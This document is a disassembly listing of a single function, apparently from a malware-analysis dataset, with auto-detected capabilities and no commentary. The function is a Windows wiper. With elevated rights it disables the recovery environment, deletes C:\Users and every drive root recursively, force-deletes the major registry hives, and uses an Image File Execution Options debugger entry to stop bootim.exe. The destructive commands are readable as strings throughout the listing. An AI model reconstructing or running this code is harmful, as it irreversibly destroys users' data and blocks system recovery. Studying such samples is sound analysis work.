Function at 0x1400015e0
Capabilities:
Create process on windows
Get disk information

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
call sym.__main
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reagentc__disable
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_rmdir__s__q_C:Users
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reg_delete_HKCR__f
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reg_delete_HKCU__f
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reg_delete_HKU__f
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reg_delete_HKCC__f
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_New_Item__Path__HKLM:SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_bootim.exe
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_Set_ItemProperty__Path__HKLM:SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_bootim.exe___Name__Debugger___Type__String___Value__taskill__F__IM_bootim.exe___Force_
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call rax
mov dword [rbp - 8], eax
mov dword [rbp - 4], 0
jmp 0x140001881
mov eax, dword [rbp - 4]
mov edx, 1
mov ecx, eax
shl edx, cl
mov eax, edx
and eax, dword [rbp - 8]
test eax, eax
je 0x14000187d
mov dword [rbp - 0x15], 0
mov byte [rbp - 0x14], 0x3a
mov byte [rbp - 0x13], 0x5c
mov eax, dword [rbp - 4]
add eax, 0x41
mov byte [rbp - 0x15], al
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x11]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str._c_rmdir__s__q
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp - 0x11]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
lea rdx, [rbp - 0x15]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140024660
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.C:Windows_system32cmd.exe
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x19
jle 0x1400017c0
mov eax, 0
jmp 0x1400018c7
add rsp, 0x78
pop rbx
pop rbp
ret